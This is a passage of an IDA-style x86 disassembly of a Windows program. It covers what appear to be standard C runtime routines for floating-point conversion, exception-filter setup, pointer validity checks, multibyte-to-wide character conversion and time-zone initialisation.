; ---------------------------------------------------------------------------
loc_41E25D: ; CODE XREF: sub_41E218+27j
; sub_41E218+35j
xor eax, eax
pop esi
retn
sub_41E218 endp
; =============== S U B R O U T I N E =======================================
sub_41E261 proc near ; CODE XREF: sub_41E2B7+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_41F266
add esp, 0Ch
dec esi
js short loc_41E2B3
lea edi, [ebx+esi*4]
loc_41E29A: ; CODE XREF: sub_41E261+50j
test eax, eax
jz short loc_41E2B3
push edi
push 1
push dword ptr [edi]
call sub_41F266
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_41E29A
loc_41E2B3: ; CODE XREF: sub_41E261+34j
; sub_41E261+3Bj
pop edi
pop esi
pop ebx
retn
sub_41E261 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E2B7 proc near ; CODE XREF: sub_41E412+81p
; sub_41E412+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_41E31B
inc ebx
push ebx
push [ebp+arg_0]
call sub_41E218
pop ecx
test eax, eax
pop ecx
jnz short loc_41E318
push edi
push [ebp+arg_0]
call sub_41E261
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_41E318: ; CODE XREF: sub_41E2B7+51j
mov eax, [ebp+arg_4]
loc_41E31B: ; CODE XREF: sub_41E2B7+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_41E33B
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_41E33B: ; CODE XREF: sub_41E2B7+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41E2B7 endp
; =============== S U B R O U T I N E =======================================
sub_41E343 proc near ; CODE XREF: sub_41E412+75p
; sub_41E412+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_41E351: ; CODE XREF: sub_41E343+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_41E351
pop esi
retn
sub_41E343 endp
; =============== S U B R O U T I N E =======================================
sub_41E35E proc near ; CODE XREF: sub_41E412+5Fp
; sub_41E412+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_41E35E endp
; =============== S U B R O U T I N E =======================================
sub_41E36A proc near ; CODE XREF: sub_41E412+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_41E370: ; CODE XREF: sub_41E36A+12j
cmp dword ptr [eax], 0
jnz short loc_41E382
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_41E370
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41E382: ; CODE XREF: sub_41E36A+9j
xor eax, eax
retn
sub_41E36A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E385 proc near ; CODE XREF: sub_41E412+C0p
; sub_41E412+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_41E3BB: ; CODE XREF: sub_41E385+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_41E3BB
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_41E3ED: ; CODE XREF: sub_41E385+86j
cmp ebx, edi
jl short loc_41E400
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_41E407
; ---------------------------------------------------------------------------
loc_41E400: ; CODE XREF: sub_41E385+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_41E407: ; CODE XREF: sub_41E385+79j
dec ebx
sub ecx, 4
jns short loc_41E3ED
pop edi
pop esi
pop ebx
leave
retn
sub_41E385 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E412 proc near ; CODE XREF: sub_41E57E+Dp
; sub_41E594+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_41E47F
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_41E36A
test eax, eax
pop ecx
jnz loc_41E53E
lea eax, [ebp+var_C]
push eax
call sub_41E35E
pop ecx
loc_41E477: ; CODE XREF: sub_41E412+E4j
push 2
loc_41E479: ; CODE XREF: sub_41E412+110j
pop eax
jmp loc_41E540
; ---------------------------------------------------------------------------
loc_41E47F: ; CODE XREF: sub_41E412+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_41E343
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41E2B7
add esp, 10h
test eax, eax
jz short loc_41E4A0
inc ebx
loc_41E4A0: ; CODE XREF: sub_41E412+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_41E4B8
lea eax, [ebp+var_C]
push eax
call sub_41E35E
pop ecx
jmp short loc_41E4F4
; ---------------------------------------------------------------------------
loc_41E4B8: ; CODE XREF: sub_41E412+98j
cmp ebx, eax
jg short loc_41E4FB
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41E343
lea eax, [ebp+var_C]
push esi
push eax
call sub_41E385
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_41E2B7
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_41E385
add esp, 20h
loc_41E4F4: ; CODE XREF: sub_41E412+A4j
xor esi, esi
jmp loc_41E477
; ---------------------------------------------------------------------------
loc_41E4FB: ; CODE XREF: sub_41E412+A8j
cmp ebx, [edi]
jl short loc_41E527
lea eax, [ebp+var_C]
push eax
call sub_41E35E
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_41E385
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_41E479
; ---------------------------------------------------------------------------
loc_41E527: ; CODE XREF: sub_41E412+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_41E385
pop ecx
pop ecx
loc_41E53E: ; CODE XREF: sub_41E412+55j
xor eax, eax
loc_41E540: ; CODE XREF: sub_41E412+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_41E56F
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_41E579
; ---------------------------------------------------------------------------
loc_41E56F: ; CODE XREF: sub_41E412+14Ej
cmp edi, 20h
jnz short loc_41E579
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_41E579: ; CODE XREF: sub_41E412+15Bj
; sub_41E412+160j
pop edi
pop esi
pop ebx
leave
retn
sub_41E412 endp
; =============== S U B R O U T I N E =======================================
sub_41E57E proc near ; CODE XREF: sub_41E5AA+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43AD90
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41E412
add esp, 0Ch
retn
sub_41E57E endp
; =============== S U B R O U T I N E =======================================
sub_41E594 proc near ; CODE XREF: sub_41E5D7+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43ADA8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41E412
add esp, 0Ch
retn
sub_41E594 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5AA proc near ; CODE XREF: sub_41A863+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41F407
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41E57E
add esp, 24h
leave
retn
sub_41E5AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E5D7 proc near ; CODE XREF: sub_41A863+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_41F407
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_41E594
add esp, 24h
leave
retn
sub_41E5D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E604 proc near ; CODE XREF: sub_41A8A1+65p
; sub_41A9A5+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_41E641
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_41E627: ; CODE XREF: sub_41E604+38j
mov dl, [ecx]
test dl, dl
jz short loc_41E633
movsx edx, dl
inc ecx
jmp short loc_41E636
; ---------------------------------------------------------------------------
loc_41E633: ; CODE XREF: sub_41E604+27j
push 30h
pop edx
loc_41E636: ; CODE XREF: sub_41E604+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_41E627
mov edx, [ebp+arg_8]
loc_41E641: ; CODE XREF: sub_41E604+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_41E65A
cmp byte ptr [ecx], 35h
jl short loc_41E65A
loc_41E64D: ; CODE XREF: sub_41E604+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_41E658
mov byte ptr [eax], 30h
jmp short loc_41E64D
; ---------------------------------------------------------------------------
loc_41E658: ; CODE XREF: sub_41E604+4Dj
inc byte ptr [eax]
loc_41E65A: ; CODE XREF: sub_41E604+42j
; sub_41E604+47j
cmp byte ptr [esi], 31h
jnz short loc_41E664
inc dword ptr [edx+4]
jmp short loc_41E676
; ---------------------------------------------------------------------------
loc_41E664: ; CODE XREF: sub_41E604+59j
push edi
call sub_415B10
inc eax
push eax
push edi
push esi
call sub_416320
add esp, 10h
loc_41E676: ; CODE XREF: sub_41E604+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41E604 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E67B proc near ; CODE XREF: sub_41A8A1+3Fp
; sub_41A9A5+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_41E6DF
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_46BCD8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_41F8D8
mov dword_46BD00, eax
add esp, 18h
movsx eax, byte_46BCDA
mov dword_46BCF8, eax
pop edi
movsx eax, word_46BCD8
mov dword_46BCFC, eax
mov dword_46BD04, offset dword_46BCDC
mov eax, offset dword_46BCF8
pop esi
leave
retn
sub_41E67B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E6DF proc near ; CODE XREF: sub_41E67B+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_41E72D
cmp ebx, edi
jz short loc_41E726
lea edi, [ecx+3C00h]
jmp short loc_41E74E
; ---------------------------------------------------------------------------
loc_41E726: ; CODE XREF: sub_41E6DF+3Dj
mov edi, 7FFFh
jmp short loc_41E74E
; ---------------------------------------------------------------------------
loc_41E72D: ; CODE XREF: sub_41E6DF+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_41E745
cmp edx, ebx
jnz short loc_41E745
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_41E790
; ---------------------------------------------------------------------------
loc_41E745: ; CODE XREF: sub_41E6DF+52j
; sub_41E6DF+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_41E74E: ; CODE XREF: sub_41E6DF+45j
; sub_41E6DF+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_41E766: ; CODE XREF: sub_41E6DF+A6j
test ecx, esi
jnz short loc_41E787
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_41E766
; ---------------------------------------------------------------------------
loc_41E787: ; CODE XREF: sub_41E6DF+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_41E790: ; CODE XREF: sub_41E6DF+64j
pop edi
pop esi
pop ebx
leave
retn
sub_41E6DF endp
; ---------------------------------------------------------------------------
push 2
call sub_417C0E
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_41E79E proc near ; DATA XREF: sub_41E7E4o
; .text:0043A768o ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41E7C1
cmp dword ptr [eax+10h], 3
jnz short loc_41E7C1
cmp dword ptr [eax+14h], 19930520h
jnz short loc_41E7C1
jmp sub_41B42C
; ---------------------------------------------------------------------------
loc_41E7C1: ; CODE XREF: sub_41E79E+Dj
; sub_41E79E+13j ...
mov eax, dword_46BD08
test eax, eax
jz short loc_41E7DE
push eax
call sub_41E83A
test eax, eax
pop ecx
jz short loc_41E7DE
push esi
call dword_46BD08
jmp short loc_41E7E0
; ---------------------------------------------------------------------------
loc_41E7DE: ; CODE XREF: sub_41E79E+2Aj
; sub_41E79E+35j
xor eax, eax
loc_41E7E0: ; CODE XREF: sub_41E79E+3Ej
pop esi
retn 4
sub_41E79E endp
; =============== S U B R O U T I N E =======================================
sub_41E7E4 proc near ; DATA XREF: .text:00423024o
push offset sub_41E79E
call dword_42101C ; SetUnhandledExceptionFilter
mov dword_46BD08, eax
retn
sub_41E7E4 endp
; =============== S U B R O U T I N E =======================================
sub_41E7F5 proc near ; DATA XREF: .text:0042303Co
push dword_46BD08
call dword_42101C ; SetUnhandledExceptionFilter
retn
sub_41E7F5 endp
; =============== S U B R O U T I N E =======================================
sub_41E802 proc near ; CODE XREF: sub_41AC79+6Bp
; sub_41B18A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421018 ; IsBadReadPtr
test eax, eax
jz short loc_41E81A
xor esi, esi
loc_41E81A: ; CODE XREF: sub_41E802+14j
mov eax, esi
pop esi
retn
sub_41E802 endp
; =============== S U B R O U T I N E =======================================
sub_41E81E proc near ; CODE XREF: sub_41B18A+73p
; sub_41B18A+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call dword_421184 ; IsBadWritePtr
test eax, eax
jz short loc_41E836
xor esi, esi
loc_41E836: ; CODE XREF: sub_41E81E+14j
mov eax, esi
pop esi
retn
sub_41E81E endp
; =============== S U B R O U T I N E =======================================
sub_41E83A proc near ; CODE XREF: sub_41B18A+15Bp
; sub_41E79E+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call dword_421014 ; IsBadCodePtr
test eax, eax
jz short loc_41E84E
xor esi, esi
loc_41E84E: ; CODE XREF: sub_41E83A+10j
mov eax, esi
pop esi
retn
sub_41E83A endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41B42C
loc_41E852: ; CODE XREF: sub_41B42C:loc_41B47Dj
push 0Ah
call sub_41D7B5
push 16h
call sub_41FB6B
pop ecx
pop ecx
push 3
call sub_417858
; END OF FUNCTION CHUNK FOR sub_41B42C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E869 proc near ; CODE XREF: sub_41B605+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_41E88C
cmp [ebp+arg_8], ebx
jz short loc_41E88C
mov al, [esi]
cmp al, bl
jnz short loc_41E892
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_41E88C
mov [eax], bx
loc_41E88C: ; CODE XREF: sub_41E869+Cj
; sub_41E869+11j ...
xor eax, eax
loc_41E88E: ; CODE XREF: sub_41E869+42j
; sub_41E869+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41E892: ; CODE XREF: sub_41E869+17j
cmp dword_46BB9C, ebx
jnz short loc_41E8AD
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_41E8A8
movzx ax, al
mov [ecx], ax
loc_41E8A8: ; CODE XREF: sub_41E869+36j
; sub_41E869+C0j
push 1
pop eax
jmp short loc_41E88E
; ---------------------------------------------------------------------------
loc_41E8AD: ; CODE XREF: sub_41E869+2Fj
mov ecx, off_4383F0
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41E90A
mov eax, dword_4385FC
cmp eax, 1
jle short loc_41E8F1
cmp [ebp+arg_8], eax
jl short loc_41E8FB
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_46BBAC
call dword_421064 ; MultiByteToWideChar
test eax, eax
mov eax, dword_4385FC
jnz short loc_41E88E
loc_41E8F1: ; CODE XREF: sub_41E869+5Cj
cmp [ebp+arg_8], eax
jb short loc_41E8FB
cmp [esi+1], bl
jnz short loc_41E88E
loc_41E8FB: ; CODE XREF: sub_41E869+61j
; sub_41E869+8Bj ...
mov dword_46BB04, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_41E88E
; ---------------------------------------------------------------------------
loc_41E90A: ; CODE XREF: sub_41E869+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_46BBAC
call dword_421064 ; MultiByteToWideChar
test eax, eax
jnz loc_41E8A8
jmp short loc_41E8FB
sub_41E869 endp
; =============== S U B R O U T I N E =======================================
sub_41E931 proc near ; CODE XREF: sub_41B605+76p
; sub_41B605+88p ...
arg_0 = dword ptr 4
cmp dword_4385FC, 1
jle short loc_41E948
push 8
push [esp+4+arg_0]
call sub_418576
pop ecx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_41E948: ; CODE XREF: sub_41E931+7j
mov eax, [esp+arg_0]
mov ecx, off_4383F0
mov al, [ecx+eax*2]
and eax, 8
retn
sub_41E931 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41E960 proc near ; CODE XREF: sub_41B605+797p
; sub_41B605+7E7p
cmp cl, 40h
jnb short loc_41E97A
cmp cl, 20h
jnb short loc_41E970
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_41E970: ; CODE XREF: sub_41E960+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_41E97A: ; CODE XREF: sub_41E960+3j
xor eax, eax
xor edx, edx
retn
sub_41E960 endp
; =============== S U B R O U T I N E =======================================
sub_41E97F proc near ; CODE XREF: sub_41C07B+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_41E9CB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_41E99D
test al, 80h
jz short loc_41E9CB
test al, 2
jnz short loc_41E9CB
loc_41E99D: ; CODE XREF: sub_41E97F+14j
cmp dword ptr [esi+8], 0
jnz short loc_41E9AA
push esi
call sub_41D908
pop ecx
loc_41E9AA: ; CODE XREF: sub_41E97F+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_41E9BA
cmp dword ptr [esi+4], 0
jnz short loc_41E9CB
inc eax
mov [esi], eax
loc_41E9BA: ; CODE XREF: sub_41E97F+30j
test byte ptr [esi+0Ch], 40h
jz short loc_41E9D1
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_41E9D7
inc eax
mov [esi], eax
loc_41E9CB: ; CODE XREF: sub_41E97F+9j
; sub_41E97F+18j ...
or eax, 0FFFFFFFFh
loc_41E9CE: ; CODE XREF: sub_41E97F+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41E9D1: ; CODE XREF: sub_41E97F+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_41E9D7: ; CODE XREF: sub_41E97F+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_41E9CE
sub_41E97F endp
; =============== S U B R O U T I N E =======================================
sub_41E9ED proc near ; CODE XREF: sub_41C0B6:loc_41C0F5p
cmp dword_46BDC8, 0
jnz short locret_41EA01
call sub_41EA02
inc dword_46BDC8
locret_41EA01: ; CODE XREF: sub_41E9ED+7j
retn
sub_41E9ED endp
; =============== S U B R O U T I N E =======================================
sub_41EA02 proc near ; CODE XREF: sub_41E9ED+9p
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
push edi
xor ebp, ebp
or ebx, 0FFFFFFFFh
push offset aTz ; "TZ"
xor edi, edi
mov dword_46BD10, ebp
mov dword_43AE68, ebx
mov dword_43AE58, ebx
call sub_41FCDD
mov esi, eax
pop ecx
cmp esi, ebp
jnz loc_41EB2B
push offset dword_46BD18
call dword_421158 ; GetTimeZoneInformation
cmp eax, ebx
jz loc_41EC5A
mov eax, dword_46BD18
mov ecx, dword_46BD6C
imul eax, 3Ch
cmp word_46BD5E, bp
push 1
pop edx
mov dword_43ADC0, eax
mov dword_46BD10, edx
jz short loc_41EA79
mov esi, ecx
imul esi, 3Ch
add eax, esi
mov dword_43ADC0, eax
loc_41EA79: ; CODE XREF: sub_41EA02+69j
cmp word_46BDB2, bp
jz short loc_41EA9D
mov eax, dword_46BDC0
cmp eax, ebp
jz short loc_41EA9D
sub eax, ecx
mov dword_43ADC4, edx
imul eax, 3Ch
mov dword_43ADC8, eax
jmp short loc_41EAA9
; ---------------------------------------------------------------------------
loc_41EA9D: ; CODE XREF: sub_41EA02+7Ej
; sub_41EA02+87j
mov dword_43ADC4, ebp
mov dword_43ADC8, ebp
loc_41EAA9: ; CODE XREF: sub_41EA02+99j
lea eax, [esp+14h+var_4]
mov esi, dword_421138
push eax
push ebp
push 3Fh
mov edi, 220h
push off_43AE4C
push ebx
push offset dword_46BD1C
push edi
push dword_46BBAC
call esi ; WideCharToMultiByte
test eax, eax
jz short loc_41EAE6
cmp [esp+14h+var_4], ebp
jnz short loc_41EAE6
mov eax, off_43AE4C
and byte ptr [eax+3Fh], 0
jmp short loc_41EAEE
; ---------------------------------------------------------------------------
loc_41EAE6: ; CODE XREF: sub_41EA02+D1j
; sub_41EA02+D7j
mov eax, off_43AE4C
and byte ptr [eax], 0
loc_41EAEE: ; CODE XREF: sub_41EA02+E2j
lea eax, [esp+14h+var_4]
push eax
push ebp
push 3Fh
push off_43AE50
push ebx
push offset dword_46BD70
push edi
push dword_46BBAC
call esi ; WideCharToMultiByte
test eax, eax
jz loc_41EC52
cmp [esp+14h+var_4], ebp
jnz loc_41EC52
mov eax, off_43AE50
and byte ptr [eax+3Fh], 0
jmp loc_41EC5A
; ---------------------------------------------------------------------------
loc_41EB2B: ; CODE XREF: sub_41EA02+2Dj
cmp byte ptr [esi], 0
jz loc_41EC5A
mov eax, dword_46BDC4
cmp eax, ebp
jz short loc_41EB4E
push eax
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41EC5A
loc_41EB4E: ; CODE XREF: sub_41EA02+139j
push dword_46BDC4
call sub_415C9B
push esi
call sub_415B10
inc eax
push eax
call sub_415BE9
add esp, 0Ch
cmp eax, ebp
mov dword_46BDC4, eax
jz loc_41EC5A
push esi
push eax
call sub_415A20
push 3
push esi
push off_43AE4C
call sub_416BE0
mov eax, off_43AE4C
add esi, 3
add esp, 14h
and byte ptr [eax+3], 0
cmp byte ptr [esi], 2Dh
jnz short loc_41EBA3
push 1
inc esi
pop edi
loc_41EBA3: ; CODE XREF: sub_41EA02+19Bj
push esi
call sub_4157F4
pop ecx
mov bl, 30h
mov ecx, eax
imul ecx, 0E10h
mov dword_43ADC0, ecx
loc_41EBBA: ; CODE XREF: sub_41EA02+1C7j
mov al, [esi]
cmp al, 2Bh
jz short loc_41EBC8
cmp al, bl
jl short loc_41EBCB
cmp al, 39h
jg short loc_41EBCB
loc_41EBC8: ; CODE XREF: sub_41EA02+1BCj
inc esi
jmp short loc_41EBBA
; ---------------------------------------------------------------------------
loc_41EBCB: ; CODE XREF: sub_41EA02+1C0j
; sub_41EA02+1C4j
cmp byte ptr [esi], 3Ah
jnz short loc_41EC1E
inc esi
push esi
call sub_4157F4
imul eax, 3Ch
pop ecx
mov ecx, dword_43ADC0
add ecx, eax
mov dword_43ADC0, ecx
loc_41EBE9: ; CODE XREF: sub_41EA02+1F2j
mov al, [esi]
cmp al, bl
jl short loc_41EBF6
cmp al, 39h
jg short loc_41EBF6
inc esi
jmp short loc_41EBE9
; ---------------------------------------------------------------------------
loc_41EBF6: ; CODE XREF: sub_41EA02+1EBj
; sub_41EA02+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_41EC1E
inc esi
push esi
call sub_4157F4
pop ecx
mov ecx, dword_43ADC0
add ecx, eax
mov dword_43ADC0, ecx
loc_41EC11: ; CODE XREF: sub_41EA02+21Aj
mov al, [esi]
cmp al, bl
jl short loc_41EC1E
cmp al, 39h
jg short loc_41EC1E
inc esi
jmp short loc_41EC11
; ---------------------------------------------------------------------------
loc_41EC1E: ; CODE XREF: sub_41EA02+1CCj
; sub_41EA02+1F7j ...
